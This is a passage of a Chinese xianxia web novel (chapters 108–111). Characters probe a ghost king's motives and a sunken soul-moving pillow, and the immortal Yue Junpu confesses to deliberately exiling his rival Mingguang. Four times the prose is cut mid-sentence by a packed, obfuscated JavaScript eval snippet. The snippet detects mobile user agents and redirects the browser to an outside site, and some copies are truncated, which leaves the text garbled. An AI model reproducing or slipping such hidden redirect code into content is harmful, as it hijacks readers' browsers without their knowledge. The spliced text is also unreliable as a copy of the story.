冥湖湖底是否真有遗落千年的移魂枕,还是他故意捏造事实,谁也不知道。 只不过捏造这么一件事,对玉京子又有什么好处呢? 就算阿难和应长恨关系匪浅,可以说服他帮助打捞移魂枕,但如果难度太大的话,应长恨也不是傻子,绝无可能冒险跳下冥湖送死。 所以,玉京子也不可能是想用这种方式来间接撂翻新任鬼王。 如果不是有意捏造事实,那就是确有其事。玉京子此举,就是想利用阿难通过应长恨从冥湖中捞出移魂枕。 应长恨自然不会让这个蛇精如愿以偿,不过如果有机会把移魂枕从冥湖湖底捞出来,他也愿意一试。 108.原因 应长恨道:“冥湖湖底的法宝,据说是当年天界的皓宸帝君率军征伐无间鬼域里落下的。云间仙境那个冒牌货现在想要找回去,我当然不能让他如愿以偿。” 朱颜悔冷冷一哼道:“无间鬼域是什么地方,那个冒牌货帝君想下来找东西,可没那么容易。就算是派一支天兵天将来,也得做好杀敌一千自损八百的准备才行。” 厉无情认同道:“是啊,谅他也不敢轻易来犯,鬼王您也不必冒这个险设法下冥湖了。” “我就是有点奇怪,移魂枕失落冥湖已经千年之久,为什么那个冒牌货现在想找回去?还有,你们觉得这个秘密先任鬼王知道吗?” 两千年前,皓宸帝君亲征无间鬼域,与时任鬼王同归于尽。 接下来的千余年,无间鬼域都是群鬼争霸的乱世,直到江天旷横空出世,力压群鬼成为新任鬼王。 江天旷稳坐鬼王宝座几百年后,也不知道哪根筋不对,独自一人潜入云间仙境去刺杀紫衡帝君。结果命丧天界,无间鬼域因此再度进入乱纪元。 厉无情有所触动地道:“鬼王,你不说我都没想起来,先任鬼王在云间仙境殒命前几年,有阵子经常独自跑去冥湖,在湖边一呆就是大半天。” 应长恨听得目光一凝,江天旷没事就独自跑去湖边呆着,肯定不是闲得没事看风景吧?他极有可能也听说了冥湖湖底有法宝的事。 这件事无间鬼域根本无人知晓,云间仙境应该也只有极少数神仙大佬才知道,否则消息早就传遍三界,秘密也就不再是秘密了。 身为鬼域之王,江天旷会得知此事,只能是有神仙告诉了他。 如果让其他人来判断,一定会认为那个神仙是灵曜天君明光。因为他想取代紫衡帝君成为新的天界之主,所以暗中勾结鬼王图谋不轨。 应长恨绝对不相信明光会是这等狼子野心之人,一直笃定整件事是他遭人陷害的结果。 陷害明光的人,才是把冥湖湖底有法宝这一秘密告诉了江天旷的人,只是没人知道这位躲在暗处的神仙究竟是谁。 也不知出于什么目的,江天旷选择与这个居心叵测身份成谜的神仙结盟,甘冒奇险独自闯上天界刺杀帝君,一代鬼王因此魂飞魄散。 一念至此,应长恨问出了一个自己一直百思不得其解的问题。 “三百年前,先任鬼王为什么会单枪匹马跑去云间仙境搞事情,你们能想到原因所在吗?” 应长恨身死变鬼,是江天旷在天界送命后的事。对于这位先任鬼王,他可以说是一无所知。 朱颜悔对江天旷也所知甚少。五百多年前,她来到无间鬼域做鬼时,江天旷已经是威名赫赫的鬼王,而她还是一个不入流的小鬼,只有膜拜大佬的份儿,根本无从接近。 厉无情和江天旷则算是同届为鬼。他俩生前都是四国时期的人,江天旷比他早当鬼十几年,虽然身世来历不明,但听口音应该是南郇国的子民。 “四国时期分为东郯,西郢,南郇,北鄣四国。东郯与北鄣联姻结盟后,分别出兵入侵南郇和西郢。南郇国就是遭东郯国所灭,而天界的诸位神仙中,太清元君温且惠曾经是东郯国的公主。我在想先任鬼王潜入云间仙境,会不会是想要杀她报灭国之仇?所以他或许不是误闯玄清殿,就是为了杀温且惠才去的,只是被护妻心切的陆衢拦了下来,恶斗一场后不敌身亡。” 听完厉无情的猜测后,朱颜悔不认同地说出自己的看法。 “南郇国灭,虽然是遭到东郯国吞并的结果,但温且惠只是一位养在深闺的公主,又不是率军征战的皇子,先任鬼王要报灭国之仇也不该找她吧?更别提南郇被灭前她就已经嫁去了北鄣国,母国侵略扩张的行为,跟一个外嫁的公主又有什么关系呢?” “我也知道这一点有些牵强,但除此以外我想不到其他原因了,你能吗?” 朱颜悔下意识地摇摇头,“我也一直想不通,先任鬼王为什么要只身闯入天界以身犯险。” 应长恨沉吟不语,厉无情的猜测虽然不够合理,但是比起江天旷无缘无故就答应配合那位身份不明的神仙,潜入云间仙境搞事情已经要合理多了。 有道是无利不起早,尤其是如此高风险的事,如果没有高收益根本不可能有人会干。江天旷究竟是为了达到什么目的,才会甘冒奇险这么做呢? “我知道了,你们先下去吧,我再好好想一想。” . 应长恨召来厉无情与朱颜悔问话时,阿难没有留在正堂,而是呆在以一座紫檀木镶玉石屏风隔开的后堂。 鬼王与左膀右臂的属下交谈,阿难身为外人不太方便在场,避入后堂旁听他们的谈话内容就行了。 厉无情与朱颜悔双双退下后,他才从后堂走出来。 “刚才的话都听见了吧?你怎么看?” “江天旷经常独自呆在冥湖,不可能是跑去看风景的,只能是跟沉在冥湖湖底的法宝有关,看来他那时就已经知道了这件事。” “我也这么想,而且他的消息来源肯定来自天界。告诉他这个消息的神仙,才是真正暗中勾结他想要让天界改朝换代的人。你在云间仙境呆过,你觉得谁最有可能是那个野心勃勃的家伙?” “如果从受益原则来推断,云间仙境嫌疑最大的仙官,就是普和真君檀豫。” 那晚跟郦子微讨论过的一切,阿难又简明扼要地对应长恨说了一遍。他深以为然地点头,毫不掩饰自己满脸的厌恶之色。 “檀豫这个老东西,看来很不是东西。不过有一点很奇怪,他是怎么说服江天旷同意跟他联手的呢?” 这点应长恨想不通,阿难也同样百思不得其解。 “是啊,檀豫到底开出了什么条件,能让江天旷答应配合他的计划?这件事要是成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493329|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,檀豫可以坐上帝君宝座,但是江天旷又能得到什么好处啊?他冒那么大的风险,却完全看不到利益在哪儿。” “会不会是因为女人?刚才厉无情不是说过,太清元君温且惠飞升之前是东郯国的公主,而江天旷是南郇国的人。东郯吞并了南郇,他可能想杀她报灭国之仇;也可能想把敌国公主抓回来百般凌辱;还有可能他没准就是看中了温且惠,想把她从陆衢身边抢走。檀豫或许是承诺事成之后,就设法秘密把温且惠交由他处置。” 虽然朱颜悔认为厉无情的猜测不够合理,但目前也只有这个原因还勉强说得过去了。 应长恨再在这个基础上发挥一下,延伸出另外两种可能性。 无间鬼域的牛鬼们大都性格阴狠偏激,江天旷也不例外。 如果他对温且惠其人怀有执念,一定要把这位神女弄到手先奸后杀,又或是囚禁起来充当自己的禁.脔,也不是没有可能的。 应长恨继续推测道: “所以,江天旷潜入云间仙境后,在帝君闭关的宸极洞没有多作逗留,只是表演了一下企图刺杀后就跑去玄清殿了,因为他真正想要对付的人其实是陆衢。” 如果整个计划是檀豫在暗中运作,目的就是为了铲除明光和陆衢两个排在他前头的大仙官,让自己有机会上位,江天旷则是计划中最重要的一环。 在这个一石二鸟的计划中,江天旷潜入云间仙境,表面上是跟明光勾结前来刺杀帝君,实际上是想要杀死陆衢。 只要陆衢死了,温且惠就失去了倚仗,他想要得到这位神女也就容易多了。 阿难沉吟道:“这么听起来,似乎合理多了,但有两个地方还是说不通。” “哪两个地方?” “第一,江天旷虽然是法力高强的鬼王,但孤身杀上云间仙境,绝对是势单力薄。他凭什么认定自己能在神仙的主场杀了陆衢?这未免太过狂妄自大了!能在无间鬼域诸多鬼雄中脱颖而出坐上鬼王宝座,他会是这么冲动行事没脑子的人吗?” 应长恨不自觉地点了点头道:“这倒也是,如果江天旷是这样无脑行事的人,根本当不上鬼王,早就被人弄死八百回了。” “第二,檀豫为什么要把冥湖湖底沉着天界法宝的秘密告诉江天旷?这和他们的计划有何关系?整个计划中根本看不出有需要用到移魂枕的地方,那告诉他干吗呢?” “对了,这个移魂枕具体能派什么用场,你知道吗?” “移魂枕这个法宝,枕上去可以移魂离体,以元神方式神游四方。当年皓宸帝君带上移魂枕征战无间鬼域,应该是想利用它元神出窍,神不知鬼不觉地在鬼域刺探军情。” “还有这种操作,听起来用它搞情报着实不错,毕竟元神看不见摸不着足够隐蔽。檀豫把这个秘密告诉江天旷,是不是想让他利用这个法宝先去天界神游几次熟悉地形呢?” 109.谜团 应长恨的猜想被阿难断然否决了。 “不可能,仙家法宝与鬼气天生相克,江天旷根本用不了。” “那只能是檀豫自己想要得到这个法宝,就让江天旷设法捞出来给他?” “可是江天旷凭什么答应他?檀豫指使他潜入云间仙境刺杀神仙风险已经很高了,还想让他再冒奇险下冥湖捞法宝给他。除非檀豫是江天旷的亲爹,才能这么使唤他。” 阿难随口说出来的话,应长恨却有些当真了,追问道:“那檀豫有可能是江天旷的亲爹吗?” 檀豫的前半生浪荡成性,是个拈花弄草的风流浪子,如果有个私生子什么的一点也不奇怪。 “绝无可能,檀豫飞升成仙的时间比陆衢要晚一两百年,而江天旷变鬼还在陆衢之前,两个人怎么可能是父子关系嘛!” 这也不可能,那也不可能,檀豫跟江天旷的合作关系究竟是怎么形成的? 鬼王为什么会答应这位老神仙,冒那么大的风险去配合他的上位计划,最后搞得自己命丧天界,实在是一个令人费解的谜团。 阿难喃喃道:“江天旷不是傻子,他会同意这么做,一定是这个计划对他本人也有极大好处,只是我们并不清楚那是什么好处罢了。” 应长恨叹口气道:“是啊,我们完全不了解他,就算想破头也想不出他为什么会这么做,到头来还为了这个好处白白枉送了性命。” 如果对于江天旷的身世来历足够了解,或许还能推测出他想要的好处是什么,问题是他俩都对这位鬼王一无所知。 江天旷称霸无间鬼域的数百年中,对自己的过往绝口不提。没人知道他生前是什么人,经历过什么事。 只有厉无情听出了江天旷有南郇国口音,推测他应该是南郇人。 再者就是这位先任鬼王戾气极重,非常难相处,一个不小心惹他不痛快了就是杀无赦。 阿难据此还推断出一点,江天旷生前的遭遇应该比较慘。 一个人戾气重,有时候是因为从未被他人善待的结果,这一点在人格形成的青少年时期尤其关键。 这时期如果一个孩子得不到世界的温柔以待,而是要承受不该承受的冷酷欺凌,就像一棵纤细的小树过早挂上重物,很难不长成歪脖子树。 而且一个没有得到过善待的人,也绝对不会轻易相信他人。 为什么江天旷却愿意相信檀豫,选择与他合作呢?他们之间是不是存在着不为人知的渊源? 阿难无论如何也想不出答案,信息太少,少到基本为零,所以这道难题根本就无解了。 应长恨道:“算了,先不想这些了,眼下还是好好琢磨一下,有没有办法把移魂枕从冥湖捞出来吧——如果它还在湖底的话。” “三百年前,天界发生的那件事中没有移魂枕存在的迹象,应该是江天旷没能打捞成功,否则玉京子现在也不会指点我来捞法宝了。” “你一向鬼主意多,怎么从冥湖打捞这件法宝,还是你来想法子吧,我就负责执行好了。” “不着急,慢慢来,毕竟心急吃不了热豆腐。阿难弟弟,我觉得你也可以像江天旷那样,先观察冥湖一段时间再说。” 应长恨深以为然,“好,从今天开始,我每天也去湖边呆上一个时辰,仔细观察一下。” . 鄞城,素来被称为东海之滨第一城。 华源真君越君朴的华源庙,虽然遍布东海一带,但建在鄞城的华源庙,是其中最大最气派的一座,没有之一。 任天真独自站在一家酒楼三楼的雅座窗前,神色复杂地俯瞰着街对面气派非凡的华源庙。 前来庙里上香的信徒络绎不绝,香火十分旺盛,华源真君在东海地区受人爱戴的程度可见一斑。 半空中有道白光倏忽一闪,如流星般穿过窗户飞入雅座后,化为越君朴的模样。 这一次,他是以神仙本尊的模样露面,着一袭金丝云纹袍,戴一顶白玉芙蓉冠,容貌英武,目含神光,浑身上下仙气氤氲。 越君朴迫不及待地看着任天真发问道,“你传讯给我,说是已经找到了我想找的那个妖怪,他在哪儿?” “华源真君,你想找的那个妖怪,是不是三百年前遭贬下凡的灵曜天君明光?” 任天真不答反问,问得直截了当,越君朴听得吃了一惊,下意识地脱口而出:“你怎么知道?” “有人告诉我的。他还说,当年你奉命贬灵曜天君下凡时,有意开错畜生道,让他下凡后当不了人只能当畜生。” “这话是谁跟你说的?明光吗?” 越君朴让任天真帮忙寻找被贬下凡后沦为妖怪的明光,她传讯来说找着了,却一见到他就直接询问当年之事,只能是明光跟她告了状。 “不是,是武佑真君卫靖。” 卫靖反正都已经反出天界了,任天真也就没必要隐瞒自己的消息来源。 越君朴一脸迷惑的神色。 武佑真君卫靖虽是天界仙官之一,他与之却没有任何交往,见面都不认识的那种,为什么他要跟自己过不去呢? “他说当年云间仙境很多仙官都猜你会开畜生道,而你也果真‘一时手滑’开错了,他觉得你就是故意的。我不想只听他的一面之辞,所以今日想和你当面求证此事。华源真君,你当年是故意的吗?” 任天真一瞬不瞬地注视着越君朴,他不自觉地掉头避开她的眼睛。 那双秋水明眸中仿佛暗藏了很多细小的针,让他有种难言的刺痛感。 “当然不是,我就是开错了。” 这种只能心证的事,越君朴当然不会承认。落井下石并非光彩之举,不管大家私下里怎么认为,明面上总要说得过去。 越君朴在这个问题上表现出来的抵触与回避态度,任天真完全不难看出来。 虽然卫靖说得那么笃定,但她还是希望是他弄错了,越君朴的本意并非如此。然而,事实却朝着她最不愿意看到的那一面发展。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505680|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“华源真君,你能不能看着我的眼睛再说一遍?” “任天真,你的莲花本体可是我当年一手种出来的。我对你有栽培之恩,你不思回报也就罢了,居然还听信他人的谗言跑来质问我,简直就是恩将仇报。” 恼羞成怒的越君朴,反过来指责任天真,她依然毫不退缩地盯着他看。 “华源真君,一码归一码,你对我的栽培之恩,我随时可以用性命作为回报。但灵曜天君遭贬下凡一事中,你到底扮演过什么角色,我很想知道真相。因为我喜欢你,我想确认你是一个值得我继续放在心上的人。” 越君朴出其不意地一怔,他之前都没有看出来,这个花妖原来一直对自己情根深种。 “你喜欢我?” “是的,虽然妖怪和神仙是不可能的,但我还是可以喜欢你吧?还是你觉得我一个妖怪根本没有这种资格?” 任天真的反问让越君朴有些狼狈,“我不是这个意思。” “华源真君,你知道吗?一直以来我都是你最虔诚的信徒。东海一带各地修建华源庙,我都会特意赶去捐资。鄞城这座华源庙,我还是捐资最多的那一个,把它建得比某些紫衡庙还要气派。虽然你不是天界第一人,但在我心目中,所有天神加起来都不如你一个。” 越君朴听得呆住了。他做梦也没有想到,自己最虔诚的信徒居然是这个莲花花妖。 在云间仙境,他只是一个地位并不显赫的中层仙官,在她心目中却是无与伦比的那一个。 “华源真君,我想知道的真相,你可以告诉我吗?” 迎视着任天真澄澈如清涟的一双眼睛,越君朴欲言又止。 虽然努力想要摆出一副问心无愧的样子,但他终究还是底气不足,没法在她一瞬不瞬的凝视下坦然说谎。 任天真的一颗心不自觉地往下坠,仿佛变成了片片凋零的桃花坠落一地,任人来去踩踏。 “我知道了,你不用说了。像这种不光彩的事,你其实也难以启齿对吧?” 越君朴狠狠咬着自己的下唇,几乎要咬出血痕。 他脸上的神色复杂极了,又是难堪又是恼怒,又是羞愧又是愤恨,还有一份彻底放弃的自暴自弃。 “是,我是故意错开了畜生道,存心想让明光下凡后当畜生。因为我讨厌他,特别讨厌他,讨厌到了恶之欲其死的地步。现在你知道了,我不是你想像中那么高洁脱俗的神仙,你眼光不行看错人了,赶紧换个人喜欢吧!” 越君朴情绪失控的一番嘶吼后,任天真神色幽幽地叹了一口气。 “我的眼光不是不行,当年我认识的你就是有那么好啊!为什么飞升成仙后心性却变了呢?” 当年在白鹊山潜心培植几枚苦莲子时,越君朴独居于深山之中。 有回偶尔被进山采药的人遇见,误以为是仙人下凡,不假思索地就跪下磕头。 因为他那份超凡脱俗的风神气韵,只会让人自然而然地想到“神仙中人”四个字。 110.硬扛 那时候,越君朴是人间凡界首屈一指的修真奇才,大有希望飞升成仙。 万丈红尘于他来说不过只是暂寄之所,没有人是他的竞争对手,更没有人能压他一头。高洁之魂,脱俗之姿,自然也就无人能及。 飞升成仙后,越君朴成了云间仙境的新晋仙官,上头压着一堆比他有资历或有实力的大仙官。 这倒很正常,毕竟论资排辈他是后辈,不可能后者居上。 然而,明光的霞举飞长改变了这种论资排辈的现象。 他被封为仅次于帝君的天君,一跃成为云间仙境一人之下万人之上的重量级人物。 如果明光不是无极宗出身,跟越君朴扯不上任何关系也没什么。 可他们偏偏师出同门,不可避免地被人拿来比较,而这种比较让越君朴没法不灰头土脸。 曾经的越君朴也是天之骄子,被人顶礼膜拜的对象。 如今却因为明光的出现被比得黯然失色,那种巨大的落差让他没法不心理失衡。 任何人都可以变得狠毒,只要你尝试过什么叫嫉妒——在此之前,越君朴从来没有嫉妒过任何人,因为没人值得他去嫉妒。 直到明光的出现,他终于开始尝到了嫉妒的滋味。 强烈的嫉妒如同一条毒蛇盘踞在心底,嗞嗞地吐着血红的蛇信,叫嚣着想要咬人。 明光被贬下凡的那天,越君朴终于放任这条毒蛇咬出了致命的一口。 . 听到任天真感慨当年的自己有多好时,越君朴不自觉地低下头,唇角扯出一抹自嘲的苦笑。 “人都是会变的,神仙也一样。” “你讨厌明光,是因为他比你强吗?可云间仙境还有其他比你强的大仙官,你为什么唯独讨厌他呢?” “你不懂。” 越君朴没法解释自己那些幽微曲折的心思,任天真却因为卫靖之前的点拨,大概懂了其中的缘故。 “因为你和他师出同门,难免会被别人拿来比较。而你在这种比较中处于劣势,处处都不如他,所以就特别讨厌他是吧?” 任天真一针见血的话,再次让越君朴无法不恼羞成怒,低吼道:“是又怎样?难道我不能讨厌他吗?” “当然不能。因为并不是明光要跟你比较,而是那些闲得没事干总把你俩相比较的人,是他们在轻视你嘲笑你而不是明光。所以你应该讨厌的人不是他,而是那些无事生非瞎比较的人才对。” 越君朴神色复杂地沉默着,他其实也讨厌那些多嘴多舌的人,但是跟他们翻脸会得罪很多人,就不如讨厌明光一个人。 “如果是明光老在你面前炫耀他比你强,那么你有机会阴他一把也算情有可原。问题是明光有那么做过吗?” “他年纪轻轻就飞升成仙,别提多傲气了,在云间仙境总是一副目无下尘的作派,很多人都讨厌他。” “也就是他在所有人面前都是一视同仁的傲气,并非只在你面前摆谱儿,我的理解没错吧?” 越君朴不觉一窒,任天真继续往下说: “明光十八岁就飞升成仙,是史无前例的第一人,他为此感到骄傲自豪也很正常吧?” “我承认他很强,但他能不能不要因为自己的成功就把尾巴翘得那么高,表现得谦虚一点不行吗?” “就算明光表现得很谦虚,你和云间仙境的其他仙官也还是会讨厌他的。一个这么年轻就这么成功的人,很难不招来别人的嫉妒。嫉妒者会找出一千个理由讨厌他,无论他怎么做都是错。” 越君朴不服气地道: “好,我承认我是嫉妒他。如果你有一个花妖姐妹,明明比你晚修炼几百年,修行却比你高出一大截,成为名扬四海的大人物,处处压过你一头,你也很难做到不嫉妒吧?” 人性复杂,有时候人们可以欣赏称赞一个陌生人的出类拔萃,却无法容忍身边熟悉的人比自己更优秀,过得更好。 任天真却想也不想地就摇头,“我为什么要嫉妒?别人比我强只要是凭真本事办到的,那就是她自己的能耐,我只会心服口服。” “可是如果别人总把你和她相提并论,说你不如她,你心里会不难受吗?” “我才不会难受呢,谁敢这样无事生非,我只会让他们难受。要是被我听见这种拉踩式的比较,我一定冲过去怼死他们——关你屁事,嘴巴太闲就去把马桶舔一舔,也算是干点正经事。” 任天真一向活得率性洒脱,不在乎别人的看法,说什么做什么都遵从自己内心的声音。 比她强大的人她不会嫉妒,认为那是人家自己有本事;比她弱小的人她也不会轻视,如果投缘的话还可以不拘一格交朋友。 越君朴怔怔地站着一言不发,忽然觉得自己白当了几百年的神仙,竟还不如一个妖怪活得通透清醒。 . 太平岛,无极宗仙府摩宵宫。 自无间鬼域归来的阿难,拎着大包小包的吃食走进摩宵宫时,小胖墩阿宽第一个看见了他。 “阿难哥哥,你来了。” “来了,还带了不少好吃的,拿去跟师弟师妹们分一分。” 叫来一个师弟接走阿难手里的所有东西后,阿宽神色忧伤地拉着他到一旁问道:“阿难哥哥,我们大师兄真的没了吗?” “真的,人死不能复生,你们可以难过,但是不要难过得太久,否则他走得也不会安心的。” “我们再难过,也比不上大师姐难过。这两天她整个人眼看着瘦了一大圈,甚至头发都白了不少。” 阴有苓曾经有着一头乌黑润泽的青丝,在得知晁定武的噩耗后,满头乌发一夜间就多了不少斑斑白发。 “放心吧,你们大师姐很坚强,她能挺过去的。” 安慰了阿宽几句后,阿难独自飞上摩宵宫后殿的屋脊,从这里可以居高临下地望见不远处的练剑坪。 练剑坪上,一身素服的阴有苓,正挥舞着那柄重剑在认真苦练。她的形容清减憔悴了不少,两鬓也多了不少华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529112|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发。 阿难没有过去打扰她,只是坐在屋脊上远远看着她。 . 大概一刻钟后,一袭绿罗裙翩然而至,在阿难身边轻盈落下。沿着裙袂往上看,就看见了脸如莲萼、唇似樱桃的任天真。 “真真姑娘,你也来了。” “嗯,晁定武死了,阴姐姐知道后一定很难过,我不放心就过来看一看。” 一边说,任天真一边伸长脖子朝着阴有苓张望,见到她憔悴清减华发丛生的模样,不自觉地叹气。 “晁定武虽然希望阴姐姐别为他的死难过,但是怎么可能啊!她难过得头发都白了那么多,人也瘦了好多。阿难哥哥,咱们要不要过去好好安慰一下她?” “不用,现在是她最伤心的时候,任何安慰的话都无济于事,只能靠她自己硬扛。” 阿难的话透着一股过来人的经验之谈,任天真小声问道:“你当年遭贬走畜生道下凡后,也是这样硬扛过来的是吧?” “是啊,除了硬扛也没别的法子——扛得住要扛,扛不住也要咬紧牙关往死里扛。” 阿难依然是一副开玩笑的口吻,任天真看着他的目光中却满是钦佩之色。 从高贵非凡的神仙沦为飞禽走兽鳞介虫豸,这种一落千丈的巨大落差,不是谁都能扛住的。 如果扛不住就会彻底崩溃,不是变成疯子就是自杀一了百了。 从巅峰跌落谷底的这三百年落难时光,任天真不知道阿难是怎么扛过来的。 在越君朴的描述中,当年的灵曜天君明光,是一个傲气十足目无下尘的人。 可是如今的小妖阿难,身上却连半丝傲气都无。 人生的大起大落,磨去了少年仙官曾经骄傲得不可一世的棱角,取而代之的是历经沧桑后洞悉世事的豁达与通透。 没有怨天尤人,没有歇斯底里,他平静地接受了命运安排的一切波折。 从明光到阿难的整个蜕变过程,是多么的漫长与痛苦,一点也不难以想像。 任天真甚至都不愿意多想,一想就觉得心酸难耐。 “阿难哥哥,虽然我不知道当年的事到底是怎么一回事,但我相信你一定是被人陷害的。如果你想回天界讨一个公道,有什么我能帮上忙的只管说,我定当竭尽全力。” “真真姑娘,那我先多谢你了。” “来这里之前,我和越君朴见过面,他对我承认了当年是故意开错畜生道贬你下凡的。对不起,我真没想到他居然会这么做。” “关你什么事,为什么你要跟我说对不起?” 任天真神情苦涩地微笑了一下。 “他毕竟是我喜欢过的人,做出这种落井下石的事,我都替他感到羞愧。以前在白鹊山的时候,他不是这样子的,要不然我也不会喜欢上他。” “越君朴并非十恶不赦的坏人,除了跟我过不去,与其他人都能和平共处。在东海一带镇山守海时,也是一个尽忠职守的仙官。你喜欢上他,眼光不算差了!” 111.另一件事 阿难就事论事的一番话,听得任天真都有些抱不平。 “阿难哥哥,你为什么不狠狠臭骂他一顿呢?我要是你,连他的祖宗十八代都要骂得狗血淋头不可。” 任天真扪心自问,如果换作是她这样一落千丈,从天上的神仙沦为凡间小妖,她何止是会痛骂对方的祖宗十八代,还会提着莲花锤去把那个把自己害得那么惨的人锤到爆为止。 “因为我已经骂过了——不只是祖宗十八代,祖宗八十代都骂过无数次了,所以现在才能心平气和的就事论事。” 当年遭贬下凡后,阿难被困在大形山的高山湖泊中当鲤鱼。 他哪里也去不了,什么也干不了,唯一能做的事就是每天咬牙切齿地咒骂一切,憎恨一切,首当其冲的就是导致他沦落至此的越君朴。 这种咒骂与憎恨的状态维持了很多很多年。 虽然根本没有听众,他还是每天没完没了地骂了又骂,从根本不会骂人到变成一个地道的骂人专家,可以骂上一个月都不带重样的。 直到阿难后知后觉地意识到,每天怨气冲天的活着,其实是一种自我折磨。 到头来,怨恨的毒液只会让他变得面目全非,对于那些把他害到这种地步的人没有任何影响。 从那一天开始,阿难改变了自己的生活态度。不再怨天尤人,而是努力消化与接受自己的处境,并且努力设法去改变这一切。 任天真默然片刻后又问道:“那你的真实身份,应长恨和阴姐姐都知道了吗?” “还不知道,我没说。” “你为什么不告诉他们呢?应长恨也就罢了,阴姐姐一直因为无极宗没落的事误会你,你不想解释一下吗?” “不知道从何说起,就算了。等他们像你一样,无意中发现了再说吧!” 任天真的视线飘向主殿方向,那儿是仙剑日月明扎根的地方。 “对了,阿难哥哥,你早就找到了仙剑日月明,为什么一直没有收回它?” 阿难苦笑着摇头道:“不是我不想,而是我不能——因为现在的我不能让它认主。我还是妖的时候,连靠近它都会遭到攻击。” 任天真这才反应过来,阿难以前是神仙,下凡后却沦为妖怪,而日月明是仙剑,天生就是各路妖魔鬼怪的克星。 当旧主人以妖怪身份出现时,它自然是只会攻击不会相认。 “那怎么办?能不能找到法子让你收回它呢?” “我正在想办法,不着急,慢慢来。三百年都等了,也不急于这一时。” 阿难一脸顺其自然的淡定,不急不躁,心态平和。 与过去经历过的一切相比,眼下的困难都不算什么,毕竟最难的时候已经过去了。 练剑坪上,阴有苓一直挥舞不休的重剑,终于以一招收剑式结束了。 “阴姐姐练完剑了,咱们过去跟她打个招呼吧。” 阿难和任天真一起从屋脊上站起来的时候,他右手腕上的虎头铃铛突然叮叮轻响。 小铃的法力近日有所恢复,眼下又可以为主人通风报信了,阿难静静听着,脸上的表情一点也不意外。 “真真,你先过去,我有事要离开一下。” 阿难没有解释自己要去干吗,任天真也善解人意地只点头不多问。 . 矫若游龙似的几个起落后,阿难飞掠来到太平岛西侧的一处海滩。 湛碧的海水和金黄的沙滩缠绵悱恻地交织在一起,与蓝天白云相映成一幅绝美的画卷。 面朝大海站定的阿难,看似在欣赏海天一色的风景,实际上在等一个人的出现。 “越君朴,我知道你来了,出来吧!” 越君朴的声音很快就在他身后响起来,带着难以置信的震动与惊愕。 “居然真的是你。” 之前和任天真在鄞城的见面,越君朴并没有得到自己想要的消息,还被她失望之极地数落了一通,脸皮都一阵火辣辣的疼。 任天真离去之前,越君朴忍不住问道:“你真的找到了明光吗?” “当然,其实你也已经见过他了,只是自己不知道而已。” 越君朴十分意外地一怔,想不起来自己何时何地见过酷似明光的小妖,无论怎么在记忆中搜索依然一无所获。 任天真丢下这句话就走了,越君朴想了想决定悄悄跟着她,毕竟眼下她是唯一能够找到明光的线索人物。 暗中尾随任天真来到摩宵宫后,越君朴发现她与之前同舟而行的那个男妖会合了,两个人一起坐在屋脊上窃窃私语。 越君朴记得这个又弱又怂的男妖,那日他以仙官身份忽然出现时,这男妖表现得要多怂就多怂,怂得简直让人没眼看。 ——其实你也已经见过他了,只是自己不知道而已。 任天真说过的这句话,忽然在越君朴耳畔再度回响,令他有所明了地瞪大双眼,死死盯着那个男妖看了又看。 难道就是他?他就是遭贬下凡后沦为妖怪的明光?不可能吧? 曾经那位傲气十足意气风发的少年仙官,跟这个怂包作派的男妖,似乎压根就扯不上一点关系。 越君朴都不敢相信自己的判断,直到阿难独自来到海滩,识破了他悄然隐匿的存在。 “是我,是不是变了很多,让你完全认不出来了?” 的确是变得让人完全认不出来了,越君朴神色复杂地注视着这个完全陌生的明光,心里说不出是什么滋味。 “越君朴,我的变化如此巨大,都是拜你所赐,现在你开心了吗?” 从阿难嘴里吐出来的每一个字,都像一根根细针刺入越君朴的心脏。 虽然不致命,却刺出一片密密的血珠子,让他感到一阵麻麻的疼,白着脸说不出话来。 “你好像并不开心,越君朴,我就知道你没那么坏。任天真喜欢你那么多年,也不算是看错了人。” 越君朴突然无比暴怒地嘶吼道:“我害你变成这样,你为什么不骂我?不打我?充什么圣人啊!” “你能主动求骂讨打我就更欣慰了,这事不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14557918|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着急,以后再说,现在我想先跟你谈另一件事。” 